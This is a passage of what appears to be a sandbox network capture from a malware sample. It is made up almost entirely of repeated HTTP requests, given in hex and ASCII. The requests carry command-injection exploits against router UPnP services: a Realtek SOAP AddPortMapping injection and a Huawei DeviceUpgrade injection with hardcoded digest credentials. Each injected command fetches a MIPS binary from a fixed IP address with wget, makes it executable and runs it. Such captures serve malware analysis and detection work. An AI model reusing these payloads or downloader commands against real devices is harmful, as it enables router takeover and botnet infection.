2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:59.898821115 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:07.322563887 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:22.170089960 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.889389038 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      32192.168.2.1544540156.235.111.6537215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:53.808681965 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:57.850805044 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.994630098 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:16.026300907 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
